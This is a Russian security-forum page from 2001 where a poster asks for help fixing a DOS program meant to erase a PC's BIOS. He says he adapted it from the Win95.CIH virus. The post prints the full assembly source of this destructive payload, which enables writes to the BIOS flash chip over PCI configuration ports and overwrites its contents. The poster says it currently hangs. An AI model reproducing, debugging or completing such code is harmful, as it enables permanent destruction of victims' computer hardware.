информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Spanning Tree Protocol: недокументированное применениеСтрашный баг в WindowsАтака на Internet
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Очередное исследование 19 миллиардов... 
 Оптимизация ввода-вывода как инструмент... 
 Зловреды выбирают Lisp и Delphi 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / software
Имя Пароль
если вы видите этот текст, отключите в настройках форума использование JavaScript
ФОРУМ
все доски
FAQ
IRC
новые сообщения
site updates
guestbook
beginners
sysadmin
programming
operating systems
theory
web building
software
hardware
networking
law
hacking
gadgets
job
dnet
humor
miscellaneous
scrap
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
Помогите грохнуть BIOS!!! 22.12.01 21:19  
Автор: Stealth! Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Привет, дорогой форум!
У меня вопрос.
Я хотел написать прогу, которая работает под дос и при запуске просто стирает BIOS. Для этого я попытался переделать всем известный вирус Win95.CIH (есть исходник на русском), но прога виснет и ничего не стирает. Я экспериментировал, т.к. есть программатор :-) Привожу текст своей переделки - может, кто найдет, где ошибка... Или посоветует, как сделать прогу с такими свойствами... С уважением, Stealth.

;--------------------------------------------------------------------------
; * Turbo Assembler 4.0 : tasm /m bios *
; * Turbo Link 3.01 : tlink /3 /t bios *
;--------------------------------------------------------------------------
.586P

cseg segment
assume cs:cseg,ds:cseg,ss:cseg
assume es:cseg,fs:cseg,gs:cseg
org 100h
start:


;--------------------------
; Прибить BIOS EEPROM
;--------------------------

mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]

;----------------------
; Прочитать страницу BIOS
; 000E0000 - 000EFFFF
; ( 64 KB )
;----------------------

mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi

;----------------------
; Прочитать страницу BIOS
; 000F0000 - 000FFFFF
; ( 64 KB )
;----------------------

mov di, 0058h
dec edx ; and al,0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi

;----------------------
; Прочитать дополнительные данные BIOS
; 000E0000 - 000E01FF
; ( 512 Bytes )
; и секция дополнительного BIOS (Extra BIOS)
; может быть записана...
;----------------------

lea ebx, EnableEEPROMToWrite-@10[esi]

mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h

push ecx
loop $

;----------------------
; Прибить дополнительные данные BIOS (BIOS Extra ROM Data)
; 000E0000 - 000E007F
; ( 80h Bytes )
;----------------------

xor ah, ah
mov [eax], al

xchg ecx, eax
loop $

;----------------------
; Показать и включить основные данные BIOS {BIOS Main ROM Data}
; 000E0000 - 000FFFFF, (128 KB), может быть записана...
;----------------------

mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h

loop $

;----------------------
; Прибить данные об основном BIOS {BIOS Main ROM Data}
; 000FE000 - 000FE07F, (80h Bytes)
;----------------------

mov ah, 0e0h
mov [eax], al

;----------------------
; Спрятать страницу BIOS
; 000F0000 - 000FFFFF,(64 KB)
;----------------------
; or al,10h
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi

;----------------------
; Выйти в DOS
;----------------------

mov ah,4ch
int 21h

;--------------------------
; Разрешить EEPROM для записи
;--------------------------

EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al

ret

;--------------------------
; Ввод/вывод в EEPROM
;--------------------------

IOForEEPROM:
@10 = IOForEEPROM

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
in al, dx

BooleanCalculateCode = $
or al, 44h

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
out dx, al

ret

;--------------------------------------------------------
; Динамические данные
;--------------------------------------------------------

FileNameBufferSize = 7fh
FileNameBuffer db FileNameBufferSize dup(?)
@7 = FileNameBuffer

;----------------------------------------------------------------------------


cseg ends
end start
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2025 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach